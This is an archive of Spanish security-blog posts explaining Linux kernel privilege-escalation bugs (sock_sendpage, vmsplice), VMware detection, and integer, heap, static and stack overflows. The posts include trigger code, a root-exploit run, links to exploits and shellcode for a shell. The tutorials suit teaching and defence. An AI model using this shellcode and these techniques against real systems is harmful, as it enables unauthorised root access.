Mostrando entradas con la etiqueta Vulnerabilidades. Mostrar todas las entradas
Mostrando entradas con la etiqueta Vulnerabilidades. Mostrar todas las entradas

domingo, 16 de agosto de 2009

Cómo funciona el exploit sock_sendpage()

 
Tavis Ormandy y Julien Tinnes, del equipo de seguridad de Google, han descubierto un bug en el kernel Linux que nadie ha sido capaz de ver en los últimos ocho años. Este bug, que afecta a todas las versiones del kernel desde la 2.4.4 a la 2.4.37.4 y desde la 2.6.0 a la 2.6.30.4 permite escalar privilegios en el sistema. En este artículo vamos a analizar su funcionamiento.


Primer error:
Todo comienza en la función sock_sendpage() situada en net/socket.c. El problema reside en la llamada a sendpage() pues no se ha verificado que el puntero esté inicializado.


static ssize_t sock_sendpage(struct file *file, struct page *page,
              int offset, size_t size, loff_t *ppos, int more)
{
   struct socket *sock;
   int flags;

   sock = file->private_data;

   flags = !(file->f_flags & O_NONBLOCK) ? 0 : MSG_DONTWAIT;
   if (more)
      flags |= MSG_MORE;

   return sock->ops->sendpage(sock, page, offset, size, flags);
}


A continuación, dejo una copia de la función sock_splice_read() que no tiene nada que ver ni con el bug ni con el exploit, pero nos sirve para ver como se podría haber evitado la vulnerabilidad.  En esta función se verifica el puntero a la función mediante unlikely() antes su llamada.


static ssize_t sock_splice_read(struct file *file, loff_t *ppos,
                 struct pipe_inode_info *pipe, size_t len,
            unsigned int flags)
{
   struct socket *sock = file->private_data;

   if (unlikely(!sock->ops->splice_read))
      return -EINVAL;

   return sock->ops->splice_read(sock, ppos, pipe, len, flags);
}


Segundo error:
Hemos visto que no se verifica si el puntero a sendpage() esta correctamente inicializado. Sera necesario ahora, encontrar situaciones en las que el puntero a la función sendpage() no se haya inicialiado.

Tavis Ormandy y Julien Tinnes en su investigación localizaron deficiencias en la incialización del puntero para la macro SOCKOPS_WRAP, definida en include/linux/net.h, que incluye PF_APPLETALK, PF_IPX, PF_IRDA, PF_X25 y PF_AX25. Tambien encontraron deficiencias en otros protocolos  como  PF_BLUETOOTH, PF_IUCV, PF_INET6 (con IPPROTO_SCTP), PF_PPPOX y PF_ISDN.


Veamos por ejemplo el caso del protocolo bluetooth. En net/bluetooth/bnep/sock.c nos encontramos con la estructura bnet_sock_ops en la que vemos que no se inicializa sendpage con sock_no_sendpage(), por lo que quedará apuntando a NULL.

static const struct proto_ops bnep_sock_ops = { 
        .family         = PF_BLUETOOTH,
        .owner          = THIS_MODULE,
        .release        = bnep_sock_release,
        .ioctl          = bnep_sock_ioctl,
#ifdef CONFIG_COMPAT
        .compat_ioctl   = bnep_sock_compat_ioctl,
#endif
        .bind           = sock_no_bind,
        .getname        = sock_no_getname,
        .sendmsg        = sock_no_sendmsg,
        .recvmsg        = sock_no_recvmsg,
        .poll           = sock_no_poll,
        .listen         = sock_no_listen,
        .shutdown       = sock_no_shutdown,
        .setsockopt     = sock_no_setsockopt,
        .getsockopt     = sock_no_getsockopt,
        .connect        = sock_no_connect,
        .socketpair     = sock_no_socketpair,
        .accept         = sock_no_accept,
        .mmap           = sock_no_mmap
};



El caso de SOCKOPS_WRAP es mas sutil, pues en net/ipx/af_ipx.c todo parece correcto. Podemos ver la inicialización en la última linea.


static const struct proto_ops SOCKOPS_WRAPPED(ipx_dgram_ops) = {
        .family         = PF_IPX,
        .owner          = THIS_MODULE,
        .release        = ipx_release,
        .bind           = ipx_bind,
        .connect        = ipx_connect,
        .socketpair     = sock_no_socketpair,
        .accept         = sock_no_accept,
        .getname        = ipx_getname,
        .poll           = datagram_poll,
        .ioctl          = ipx_ioctl,
#ifdef CONFIG_COMPAT
        .compat_ioctl   = ipx_compat_ioctl,
#endif
        .listen         = sock_no_listen,
        .shutdown       = sock_no_shutdown, /* FIXME: support shutdown */
        .setsockopt     = ipx_setsockopt,
        .getsockopt     = ipx_getsockopt,
        .sendmsg        = ipx_sendmsg,
        .recvmsg        = ipx_recvmsg,
        .mmap           = sock_no_mmap,
        .sendpage       = sock_no_sendpage,
};


Sin embargo, si estudiamos con detenimiento la macro SOCKOPS_WRAP en include/linux/net.h vemos que mietras otras llamadas se inicializan correctamente, no se realiza la inicialización de sendpage.
No pego el código por que es demasiado largo, consultar en include/linux/net.h y ver que la última inicialización es la de mmap(), olvidando sendpage().



Cómo explotarlo?
Lo primero que necesitaremos para explotar esta vulnerabilidad es una función que podamos ejecutar en espacio de usuario que use sock_sendpage(). Hay muchas funciones que lo hacen, una de ellas es sendfile().



Tavis Ormandy y Julien Tinnes y proponen como secuencia válida de llamadas para forzar el uso de sendpage(), la siguiente:

/* ... */
int fdin = mkstemp(template);
int fdout = socket(PF_PPPOX, SOCK_DGRAM, 0);

unlink(template);

ftruncate(fdin, PAGE_SIZE);

sendfile(fdout, fdin, NULL, PAGE_SIZE);
/* ... */



Cuando se ejecute la función sendpage(), si esta no está inicializada y apunta a NULL, el kernel intentará ejecutar las instrucciones que hay en la dirección 0. Podemos aprovechar esto mapeando la dirección 0 y almacenando allí las instrucciones que queremos que ejecute el kernel. Así, cuando se intente ejecutar sendpage() realmente se ejecutará nuestro código en espacio de kernel. Podremos escalar privilegios haciendo que el código almecando en la dirección 0 ponga nuestros uid a cero (root).

Este tipo de bugs son muy comunes en el kernel Linux y se conocen como bugs por 'NULL pointer dereference'. Ya vimos aquí uno de estos con el exploit vmsplice.


En las referencias dejo un ejemplo de exploit.




referencias:
- http://www.securityfocus.com/archive/1/505751
- http://blog.cr0.org/2009/08/linux-null-pointer-dereference-due-to.html
- exploit: http://www.frasunek.com/proto_ops.tgz

 

lunes, 6 de julio de 2009

Estamos dentro de VMWare?

A continuacion dejo un programa que permite detectar si nuestro servidor se encuentra dentro de una maquina virtual VMWare. Utiliza una tecnica descubierta por Ken Kato que consiste en encontrar el Backdoor I/O port. Este puerto es el que utiliza VMWare para comunicarse con la maquina virtual. Como dicho puerto no existe en un servidor normal su deteccion indica que nos encontramos bajo VMWare.


/*
 * 4tphi-vmchk.c
 * Detects if you are in a VMWare virtual machine.
 *
 * Written by Andrew Hintz 
 * and AAron Walters
 * Fortify Research Laboratories 
 *
 * "Oft at the hives of his tame bees
 * They would their sugary thirst appease."
 *
 * This program is based on info and code from:
 * http://chitchat.tripod.co.jp/vmware/
 * by chitchat_at_lycos.jp
 *
 * Notes:
 * The program can be run as a normal user.
 * We tested the program only in x86 Linux.
 * The m4dn3ss lives on!
 */

#include <stdio.h>
#include <stdlib.h>
#include <sys/signal.h>

#if __INTSIZE == 2 /* 16 bit environment */
typedef unsigned int uint16;
typedef unsigned long uint32;
#else /* 32 bit environment */
typedef unsigned short uint16;
typedef unsigned int uint32;
#endif /* __INTSIZE */

void segfault()
{
  printf("Not running inside VMware.\n");
  exit(1);
}

int main()
{
  uint32 verMajor, verMinor, magic, dout;

  signal(SIGSEGV, segfault);

  __asm__ __volatile__ 
   (
   "mov $0x564D5868, %%eax; /* magic number */"
   "mov $0x3c6cf712, %%ebx; /* random number */"
   "mov $0x0000000A, %%ecx; /* specifies command */"
   "mov $0x5658, %%edx; /* VMware I/O port */"
   "in %%dx, %%eax;"
   "mov %%eax, %0;"
   "mov %%ebx, %1;"
   "mov %%ecx, %2;"
   "mov %%edx, %3;"
    : "=r"(verMajor), "=r"(magic), "=r"(verMinor), "=r"(dout)
    );

  if (magic == 0x564D5868) 
  {
    printf("Running inside VMware. ");
    printf("(Version %lu,%lu)\n", verMajor, verMinor);
    /* I'm not really sure what the versions mean. */
  }

  return 0;

}

domingo, 17 de febrero de 2008

Cómo funciona el exploit vmsplice


Despues del revuelo ocasinado por el bug vmsplice() en el kernel Linux vamos a realizar un pequeño análisis de su funcionamiento. Para el que no lo sepa, la explotación del bug vmsplice permite a un usuario del sistema convertirse en root. Esto ocurre en los kernels que van desde la versión 2.6.17 a la 2.6.24.1.

Algunos exploits disponibles son:

http://www.milw0rm.com/exploits/5092
http://www.milw0rm.com/exploits/5093


Veamos un ejemplo con el segundo exploit:

$ uname -r
2.6.23

$ gcc exploit.c
$ ./a.out
-----------------------------------
Linux vmsplice Local Root Exploit
By qaaz
-----------------------------------
[+] addr: 0xc011481b
[+] root
$ id
uid=0(root) gid=0(root) grupos=501(user)



La llamada al sistema vmsplice:

vmsplice es una llamada al sistema que puede ser accedida desde espacio de usuario mediante syscall().

syscall(__NR_vmsplice, fd, iov, nr_segs, flags);

Encontramos su implementación en fs/splice.c, en las fuentes del kernel Linux:





asmlinkage long sys_vmsplice(
int fd, const struct iovec __user *iov,unsigned long nr_segs, unsigned int flags){...}



Nos interesa prestar atención a los parámetros recibidos por la llamada al sistema, pues son los que el usuario puede controlar al llamar a la función.

Cuando un usuario llama a sys_vmsplice() se produce la siguiente secuencia de llamadas:
- sys_vmsplice() - vmsplice_to_pipe() - get_iovec_page_array()

Dado que el bug se encuentra en get_iovec_page_array() nos interesará saber qué parámetros de la misma puede controlar el usuario. Es decir, qué parámetros de sys_vmsplice() llegan hasta get_iovec_page_array() y si estos parámetros pasan por algun filtro durante el proceso.

Si leemos con atención las funciones implicadas vemos que desde la llamada a sys_vmsplice() hasta la ejecución de la función vulnerable get_iovec_page_array() se mantienen los parámetros: iov y nr_segs.



La función get_iovec_page_array():

La función get_iovec_page_array() es la función vulnerable que el exploit aprovecha para obtener privilegios de root. Como se ha comentado en el apartado anterior, el usuario puede controlar los parámetros iov y nr_segs de esta función.

Observemos el siguiente código de la función vulnerable:






struct iovec entry;
...

if(copy_from_user_mmap_sem(&entry, iov, sizeof(entry)))
break;

...

len = entry.iov_len;

...

npages = (off + len + PAGE_SIZE - 1) >> PAGE_SHIFT;

if (npages > PIPE_BUFFERS - buffers)
npages = PIPE_BUFFERS - buffers;

error = get_user_pages(current, current->mm,(unsigned long) base, npages, 0, 0,&pages[buffers], NULL);






"iov" es copiada en "entry" y el valor de "iov_len" asignado a la variable "len". Por lo tanto, el usuario tiene el control de la variable "len".
A continuación se calcula "npages" mediante off + len + PAGE_SIZE - 1.

En la función get_user_pages() se asume que npages es como mínimo 1. Dado que "len" no debe ser 0, off + len + PAGE_SIZE - 1 siempre será mayor o igual que PAGE_SIZE. Sin embargo, si "len" tiene un valor cercano a UINT32_MAX, entonces npages podría valer 0 (integer overflow).

Como consecuencia get_user_pages() podría retornar más de PIPE_BUFFERS entradas, lo que como veremos a continuación, produce un buffer overflow.


A continuación, en get_iovec_page_array(), viene el siguiente código:





for (i = 0; i < error; i++)
{
const int plen = min_t(size_t, len, PAGE_SIZE - off);
partial[buffers].offset = off;partial[buffers].len = plen;
off = 0;
len -= plen;buffers++;
}







El tamaño del array "partial" es PIPE_BUFFERS pero como hemos comentado, el valor de "error" será superior a este. Por lo tanto, las estructuras de datos que se encuentren a continuación de "partial" serán sobreescritas con "off" y "plen".

Normalmente la víctima de esta sobreescritura es el array "pages" que contiene punteros. En este caso, por ejemplo, se podria sobreescribir "pages" con valores NULL.



Cómo ejecutar código arbitrario:

Normalmente cuando el Kernel intenta acceder a un puntero NULL se obtiene una excepción que finaliza el proceso. Pero existe una técnica que puede ser usada por el atacanta para que en lugar de obtener un error se ejecute código arbitrario. Esta técnica consiste en mapear la dirección 0 y guardar allí datos que permitiran el control del usuario y la ejecución de código en el contexto del kernel.



Posibles soluciones:

Sin duda la mejor solución al problema consiste en actualizar el kernel o aplicar el parche correspondiente. Pero en casos de que eso no sea posible, por ejemplo, por la imposibilidad de reiniciar la máquina, puede usarse el siguiente módulo:

http://home.powertech.no/oystein/ptpatch2008/ptpatch2008.c



Referencias:
- Informe de McAfee Labs
- http://www.coseinc.com/coseinc_linux_advisory_3.pdf

domingo, 15 de julio de 2007

Integer Overflow en Java

En el artículo anterior sobre Integer Overflow, explicaba el concepto y mostraba algunos ejemplos en C. Pues bien, es curioso ver como un lenguaje como Java, considerado muy seguro, también permite este tipo de ataques. Veamos un sencillo ejemplo:


public class ShortOverflow
{
public static void main(String args[])
{
if(args.length<1)         
return;       

short num = Integer.valueOf(args[0]).shortValue();       
System.out.println("num: "+num);       

if(num>100)
System.out.println("num > 100");
else
System.out.println("num < 100");    
}
} 
La versión de máquina virtual usada es la siguiente:
$ java -version
java version "1.5.0_07"
Java(TM) 2 Runtime Environment, Standard Edition (build 1.5.0_07-b03)
Java HotSpot(TM) Client VM (build 1.5.0_07-b03, mixed mode, sharing)
Si ejecutamos el ejemplo vemos como se produce el overflow sin que se produzca ninguna excepción:
$ javac ShortOverflow.java
$ java ShortOverflow 100
num: 100
num < 100

$ java ShortOverflow 101
num: 101
num > 100

$java ShortOverflow 100000
num: -31072
num < 100
Atención! se usa la clase Integer, no la clase Short que sí controla la excepción. Por lo que el problema se produce al realizar el cast de int a short, en la función shortValue(). Lo mismo ocurre si utilizamos el tipo Byte:
public class ByteOverflow
{
public static void main(String args[])
{
if(args.length<1)         
return;       

byte num = Integer.valueOf(args[0]).byteValue();       
System.out.println("num: "+num);       

if(num>100)
System.out.println("num > 100");
else
System.out.println("num < 100");    
}
}
$ javac ByteOverflow.java
$ java ByteOverflow 100
num: 100
num < 100

$ java ByteOverflow 101
num: 101
num > 100

$ java ByteOverflow 1000
num: -24
num < 100

Sin embargo, el desbordamiento no se produce si se usa Integer.valueOf("...").intValue(), Short.valueOf("...").shortValue() o similar:
public class IntegerOverflow
{
public static void main(String args[])
{
if(args.length<1)
return;

int num = Integer.valueOf(args[0]).intValue();

System.out.println("num: "+num);

if(num>100)
System.out.println("num > 100");
else
System.out.println("num < 100");

}
}
$ javac IntegerOverflow.java
$ java IntegerOverflow 10
num: 10
num < 100

$ java IntegerOverflow 100000
num: 100000
num > 100

$ java IntegerOverflow 1000000000000000
Exception in thread "main" java.lang.NumberFormatException: For input string: "1000000000000000"
at java.lang.NumberFormatException.forInputString(NumberFormatException.java:48)
at java.lang.Integer.parseInt(Integer.java:459)
at java.lang.Integer.valueOf(Integer.java:553)
at IntegerOverflow.main(IntegerOverflow.java:9)

Krampo en Kriptopolis proporciona una par de enlaces interesantes. En el primero se documenta el comportamiento de shortValue(): http://java.sun.com/j2se/1.4.2/docs/api/java/lang/Number.html#shortValue() En un, muy interesante, segundo enlace se habla del tema: http://mindprod.com/jgloss/overflow.html
Why does Java ignore overflow? Most computer hardware has no ability to automatically generate an interrupt on overflow. And some hardware has no ability to detect it. Java would have to explicitly test for it on every add, subtract and multiply, greatly slowing down production. Further ex-C programmers are very used to this cavalier ignoring of overflow, and commonly write code presuming that high order bits will be quietly dropped. The Pentium has hardware overflow detect but no hardware interrupt. So if Java were to support overflow detect, inside the JVM implementation would need to add a JO *jump on overflow" instruction after every add and subtract, and special code to look at the high order bits of the 32x32->64 bit multiply. 64/32->32 bit division might need special handling.
Para finalizar, veamos un ejemplo ficticio donde se podría explotar este overflow. Supongamos un programa en Java que se utiliza para realizar recargas a teléfonos móviles. Este programa cargará una comisión de un euro en la recarga, y posteriormente, realizará dicha recarga.
public class RecargaMovil
{
public static void main(String args[])
{
if(args.length!=2)
{
System.out.println("Uso: prog [telefono] [importe]");
return;
}

// Aqui se encuentra el error del programador (o vulnerabilidad)
short importe = Integer.valueOf(args[1]).shortValue();
if(importe < = 10)
{
// Quitamos 1 euro de comision;)
importe -= 1;

if(importe<3)
{
System.out.println("Importe demasiado pequeño");
return;
}

System.out.println("Realizando recarga de "+importe+
" euros a "+args[0]);
// Realizar recarga ...
}
else
{
System.out.println("No se permite hacer recargas de mas de 10 euros");
}
}
}
$ java RecargaMovil 93123123 9
Realizando recarga de 8 euros a 93123123

$ java RecargaMovil 93123123 15
No se permite hacer recargas de mas de 10 euros

Si observamos con detenimiento el programa veremos la existencia de un overflow en "importe", al pasar de int a short. Dado que un short permite el almacenamiento de 2^16=65536 valores, o 2^15=32768 por admitir valores con signo, veamos como desbordarlo.
$ java RecargaMovil 98234948 -98302
Importe demasiado pequeño

$ java RecargaMovil 98234948 -98303
Importe demasiado pequeño

$ java RecargaMovil 98234948 -98304
Realizando recarga de 32767 euros a 98234948
Donde "importe" se desborda y nos permite hacer una recarga de 32767 euros:)

sábado, 14 de julio de 2007

Integer Overflow

Un Integer Overflow se produce cuando una operación aritmética intenta almacenar un valor numérico demasiado grande para la variable que lo contiene. De esta forma, si añadimos 1 al valor máximo que una variable puede almacenar, nos encontraremos con resultados curiosos. Veamos que ocurre en un sistema Linux x86.


int main()
{
unsigned short c = 65535;
printf("%d\n", c);
c++;
printf("%d\n", c);
return 0;
}



$ gcc ex1.c
$ ./a.out
65535
0

Como vemos en el ejemplo, al incrementar una variable que ya está en su valor máximo, esta se desborda, empezando de nuevo en el valor cero.
Podemos conocer el valor máximo que se puede almacenar en una variable del lenguaje C usando "sizeof":


int main()
{
printf("size of char: %d bytes\n", sizeof(char));
printf("size of short: %d bytes\n", sizeof(short));
printf("size of int: %d bytes\n", sizeof(int));
printf("size of float: %d bytes\n", sizeof(float));
return 0;
}


$ gcc ex2.c
$ ./a.out
size of char: 1 bytes
size of short: 2 bytes
size of int: 4 bytes
size of float: 4 bytes


Así, por ejemplo, en un char podremos guardar valores menores que 2^8, en un short valores menores que 2^16 y en un int valores menores que 2^32.

En el caso de las variables unsigned, cuando se produce un desbordamiento, nos encontramos con algo similar. Pues si intentamos almacenar un valor negativo en una variable sin signo, se realizará la conversión correspondiente. Por ejemplo, si en una variable "short" podemos almacenar valores menores que 2^16, en una variable "unsigned short" solo podremos almacenar la mitad. Pues se usaran los 2 bytes tanto para almacenar valores positivos como negativos. De esta manera, asignar un valor -1 a un "unsigned short" corresponderá a almacenar el valor 65535, almacenar -2 corresponderá a 65534, y así sucesivamente.


int main()
{
unsigned short c = -1;
printf("%d\n", c);
c++;
printf("%d\n", c);
return 0;
}



$ gcc ex3.c
$ ./a.out
65535
0

No resulta nada complicado hacerse a la idea de como una vulnerabilidad de este tipo puede ser explotada. Por ejemplo, modificando el flujo de ejecución de un programa. En el caso siguiente, se pasa una condición "if" que no debería.


int main(int argc, char *argv[])
{
if(argc != 2)
{
printf("Usage: %s num\n", argv[0]);
return -1;
}

size_t num = atoi(argv[1]);

if(num>100)
printf("num > 100\n");
else
printf("num < 100\n);

return 0;
}



$ gcc ex4.c
$ ./a.out 1
num < 100
$ ./a.out 101
num > 101
$ ./a.out -1
num > 100



Para finalizar, veamos un ejemplo de buffer overflow en el que se muestra cómo usar la longitud de una cadena para escribir fuera del buffer. En este caso la variable que permite el overflow es len, dado que existe la posibilidad de que la longitud de la cadena sea zero. Entonces, el valor de len es -1, o lo que viene a ser lo mismo, 255 por ser una variable "unsigned" de 8 bits. Por este motivo, el memcpy copiará 255 bytes a ptr, unos cuantos más de los necesarios. Realmente lo que se desborda es el heap, por lo que se trata, concretamente, de un heap overflow.


int main(int argc, char *argv[])
{
if(argc<=1)      
return -1;   
char *ptr = malloc(strlen(argv[1]));  
int *login_ok = malloc(sizeof(int));  
*login_ok=0;    
printf("size: %d\n", strlen(argv[1]));  
uint8_t len = strlen(argv[1]) -1;   
memcpy(ptr, argv[1], len+1);  
printf("Login: %d\n", *login_ok);   

if(*login_ok)  
{     
printf("Access Accept\n");  
}  
else  
{     
printf("Access Denied\n");  
}  
return 1;
}  
$ gcc ex5.c
$ ./a.out hola
size: 4
Login: 0
Access Denied

$ ./a.out adiossssssssssssssssssssss
size: 26
Login: 0
Access Denied

$ ./a.out ""
size: 0
Login: 3618355
Access Accept 

domingo, 17 de junio de 2007

Static Data Overflow

El Static Data Overflow es un tipo de buffer overflow que se produce con datos estáticos. Estos pueden ser sobreescritos de forma similar a la estudiada en los los buffer overflow o en los heap overflow, es decir, en situaciones en las que el programador no verifica correctamente el tamaño de los datos que copia. Veamos un ejemplo sencillo de Static Data Overflow.
int main(int argc, char *argv[])
{
static int login_ok = 0;
static char user[64];
static char pass[64];

strncpy(user, argv[1], strlen(argv[1]));
strncpy(pass, argv[2], strlen(argv[2]));

printf("User: %s\n", user);
printf("Pass: %s\n", pass);
printf("Login: %d\n", login_ok);

if(login_ok)
{
printf("Access Accept\n");
}
else
{
printf("Access Denied\n");
}

return 0;
}

Como podemos observar en el ejemplo anterior, el programa copia los datos introducidos por el usuario en dos buffers sin verificar correctamente el tamaño de los mismos. Veamos qué ocurre si sobrepasamos los 64 bytes de memoria assignada para las variables user y pass

Esta es la ejecución normal del programa:
$ ./a.out myusername mypass
User: myusername
Pass: mypass
Login: 0
Access Denied

Ahora intentemos sobrepasar el tamaño máximo de la variable user:
$ ./a.out `perl -e 'print "A"x100'` mypass
User: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Pass: mypass
Login: 1094795585
Access Accept


Como vemos el programa nos da acceso sin necesidad de introducir una contraseña correcta. Pero, ¿Qué ha ocurrido? Los datos asignados a las variables user, pass y login_ok están en un espacio contiguo de memoria. Por lo que al sobrepasar el limite de espacio asignado a una de ellas, se sobreescribe el contenido de las demás. Así, si sobrepasamos los 64 bytes de user, sobreescribimos login_ok.

El valor que hemos assignado a login_ok es una cadena de As que ha dado como resultado el valor 1094795585. Aunque cualquier valor diferente de 0 nos hubiese servido igualmente para poder entrar en la sentencia if.

Este tipo de bug está muy relacionado con el heap overflow y/o el buffer overflow, sobre los que ya se ha escrito en este blog. Consultalos para ampliar información.




Heap Overflow

El heap overflow es un tipo de buffer overflow que se produce en un area de memoria denominada heap. La memoria heap se reserva dinamicamente con funciones como por ejemplo malloc() y puede ser sobreescrita de forma similar a la que se produce en los buffer overflow, es decir, en situaciones en las que el programador no verifica correctamente el tamaño de los datos que copia. Veamos un ejemplo sencillo de heap overflow.

int main(int argc, char *argv[])
{
char *user = malloc(64);
char *pass = malloc(64);
int *login_ok = malloc(sizeof(int));
*login_ok=0;

strncpy(user, argv[1], strlen(argv[1]));
strncpy(pass, argv[2], strlen(argv[2]));

printf("User: %s\n", user);
printf("Pass: %s\n", pass);
printf("Login: %d\n", *login_ok);

/* ... check user/pass ... */

if(*login_ok)
{
printf("Access Accept\n");
} 
else
{
printf("Access Denied\n");
}

return 0;
}

Como podemos observar en el ejemplo anterior, el programa copia los datos introducidos por el usuario en dos buffers cuya memoria ha sido reservada con malloc() sin verificar su longitud máxima.
Pero, ¿Qué ocurre si sobrepasamos los 64 bytes de memoria reservada para las variables user y pass? Veamoslo con un ejemplo.

Esta es la ejecución normal del programa:
$ ./a.out myusername mypass
User: myusername
Pass: mypass
Login: 0
Access Denied

Ahora intentemos sobrepasar el tamaño máximo de la variable pass:

./a.out myusername `perl -e 'print "A"x100'`
User: myusername
Pass: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Login: 1094795585
Access Accept

Como vemos el programa nos da acceso sin necesidad de introducir una contraseña correcta. Pero, ¿Qué ha ocurrido? La respuesta es bastantes sencilla. Al reservar memoria con malloc() se nos ha assignado un espacio contiguo de memoria para las variables user, pass y login_ok. Por lo que al sobrepasar el limite de espacio asignado a una de ellas, se sobreescribe el contenido de las demás. Así, si sobrepasamos los 64 bytes de user, sobreescribimos pass y a continuación login_ok. O, como hemos hecho en el ejemplo, si sobrepassamos los 64 bytes de pass, sobreescribimos login_ok.

El valor que hemos assignado a login_ok es una cadena de As que ha dado como resultado el valor 1094795585. Aunque cualquier valor diferente de 0 nos hubiese servido igualmente para poder entrar en la sentencia if.

Existen diferentes maneras de aprovechar un heap overflow para explotar un programa. Estas dependen en gran medida de la imaginación del atacante. Lo más común es sobreescribir directamente una variable como hemos hecho en el ejemplo o modificar un puntero para que salte a cierto código controlado (ver buffer overflow). En cualquier caso, como ya se comentaba en el documento sobre buffer overflow, es necesario verificar correctamente la cantidad de datos que se escribe en los buffers.




domingo, 20 de mayo de 2007

Buffer Overflow


En este post se describe el funcionamiento de los ataques por buffer overflow. Existen muchos documentos que se ocupan de este tema, aunque considero que en su mayoría complican demasiado la explicación de un concepto que en absoluto es complicado. El objetivo de este documento es dar un enfoque sencillo y educativo al buffer overflow. Espero haberlo conseguido.

¿Qué es un buffer overflow?

Un buffer overflow, como su mismo nombre indica, consiste en escribir en un buffer mas datos de los que es capaz de contener. En el lenguaje C este caso suele darse en funciones que no comprueban el tamaño de los buffers, como strcpy(), sprintf(), etc. Un ejemplo típico y sencillo es el siguiente:



/* vulnerable.c */

void vulnerable (char *param) 
{
char buffer[512];
strcpy (buffer, param);
}

int main (int argc, char **argv) 
{
if (argc!=2) 
{                                                                             
printf ("Uso: %s \n", argv[0]);
return 0;
}

vulnerable (argv[1]); 
return 0;
}




Como se puede ver en el programa anterior el buffer ha sido diseñado para contener un máximo de 512 bytes. El (mal) uso de la funcion strcpy() permite al usuario del programa copiar en el buffer más de 512 bytes, desbordandolo.


$ gcc vulnerable.c -o vulnerable
$ ./vulnerable `perl -e "print 'A'x1000;"`
Violacion de segmento



El resultado de pasar como parametro un cadena de 1000 As, ha sido un fallo de segmentación. Veamos cuál es el motivo.

El programa vulnerable, en una maquina Linux x86, utilizaría la pila del sistema como en el siguiente dibujo:


__________________  <------ %esp (Stack Pointer)
|                  |
|       ...        |
|                  |
|__________________|
|      buffer      |
|__________________|
|      buffer      |
|__________________|
|      buffer      |
|__________________|
|  Frame Pointer   |
|__________________|
|  Return address  |
|__________________|
|      param       |
|__________________|
|      param       |
|__________________|
|      param       |
|__________________|
|                  |
|       ...        |
|                  |
|                  |


El stack pointer es un registro que guarda la dirección donde empieza la pila. Esta dirección suele ser siempre la misma en todos los programas. Cuando un programa llama a una función debe guardar la dirección en la que se encuentra para saber donde volver cuando la función termine. Esta dirección se guarda en el stack y es conocida como dirección de retorno. Cuando empieza la funcion vulnerable(), se guarda en la pila los parámetros que recibe la función (param), la dirección de retorno, el frame pointer y a continuación las variables que se declaran en la función. En nuestro caso, buffer. Quedando como en el dibujo anterior. Al desbordar buffer con la cadena de letras A (en hexadecimal 0x41), primero se sobreescreibiría el Frame Pointer, después se sobreescribiría la dirección de retorno (return address), después los parametros, etc. Quedando la pila de la siguiente manera:
__________________  <------ %esp (Stack Pointer)
|                  |
|       ...        |
|                  |
|__________________|

|    0x41414141    |  <-- buffer
|__________________|
|    0x41414141    |  <-- buffer
|__________________|
|    0x41414141    |  <-- buffer
|__________________| 
|    0x41414141    |  <-- Frame Pointer
|__________________|
|    0x41414141    |  <-- Return address
|__________________|
|    0x41414141    |  <-- param
|__________________|
|    0x41414141    |  <-- param
|__________________|
|    0x41414141    |  <-- param
|__________________|
|                  |
|       ...        |
|                  |
|                  |

Cuando la función termine sacará la dirección de retorno de la pila y saltara a ella. Esta dirección ha sido modificada por el overflow y ahora es 0x41414141 (las As en hexadecimal). Al saltar a 0x41414141 e intentar ejecutar una instrucción, como se encuentra fuera del espacio de direcciones, obtendra un fallo de segmentación. Es evidente que esto nos permite cambiar el flujo de ejecución del programa. Solo tenemos que ser capaces de sobreescribir la dirección de retorno con una dirección que apunte a algun lugar de la pila con codigo ejecutable. Imaginemos que somos capaces de sobreescribir la pila con nuestro buffer overflow de manera que quede como en el siguiente dibujo:
             __________________  <------ %esp (Stack Pointer)
            |                  |
            |       ...        |
            |                  |
            |__________________|
   ------>  | NOP NOP NOP NOP  |  <-- buffer
  |         |__________________|
  |         | NOP NOP NOP NOP  |  <-- buffer
  |         |__________________|
  |         |    SHELLCODE     |  <-- buffer
  |         |__________________| 
  |         | RET RET RET RET  |  <-- Frame Pointer
  |         |__________________|
   -------  | RET RET RET RET  |  <-- Return address
            |__________________|
            | RET RET RET RET  |  <-- param
            |__________________|
            | RET RET RET RET  |  <-- param
            |__________________|
            | RET RET RET RET  |  <-- param
            |__________________|
            |                  |
            |       ...        |
            |                  |
            |                  |


Donde NOP es una operación del procesador que no hace nada, SHELLCODE es nuestro código ejecutable y RET una dirección de retorno falseada que apunta a algun lugar de la zona de NOPs. Si todo saliese bien, cuando el progama saltase a la dirección de retorno (modificada por el buffer overflow) iría a parar a algun lugar de la zona de NOPs y a continuación pasaria de un NOP al siguiente hasta llegar a la SHELLCODE, que sería ejecutada. ¿Sencillo no? Pues solo es necesario desarrollar un programa (o exploit) que cree un buffer con las características mencionadas. El único problema con el que nos podemos encontrar consiste en averiguar a que distancia del stack se encuntra la zona de NOPs. Si no acertamos, nuestro programa saltara a una zona equivocada, produciondo un error de segmentación, de intrucción no valida, etc. Por este motivo nuestro exploit debera ser un programa parametrizado que nos permita modificar el offset (distancia del stack pointer a la zona de NOPs). Antes de empezar con el desarrollo del exploit, es necesario hacer algunos comentarios acerca de la shellcode: La shellcode es el código ejecutable que hay que colocar en el stack. Ahora no entraré en como se desarrolla. Solo diré que consiste en un código hexadecimal que depende del sistema operativo y la plataforma. En el exploit de ejemplo se utilizara la siguiente:
\x31\xdb\x8d\x43\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68
\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd
\x80\x31\xc0\x40\xcd\x80
Este código, para Linux x86, proporciona una shell interactiva al usuario. Desarrollo de un exploit: Según se ha explicado en el apartado anterior, el desarrollo del exploit consiste en crear un buffer con unas caracteristicas especiales, y utilizarlo para desbordar el programa vulnerable. Los pasos a seguir por el exploit son los siguientes:
1. Crear un buffer de tamañoo superior al buffer original. Unos 100 bytes mas son suficientes. Aunque en nuestro caso bastaría con unos cuantos menos. 2. Buscar el stack pointer. Con una función como la siguiente:
unsigned long get_sp(void) 
{   
__asm__("movl %esp,%eax"); 
}

3. Obtener una dirección de retorno restando un offset a la dirección del stack pointer. 4. Rellenar el buffer con la estructura estudiada. Más o menos asi:
BUFFER: NNNNNNNNNN SSSSSSSSSS RRRRRRRRRR
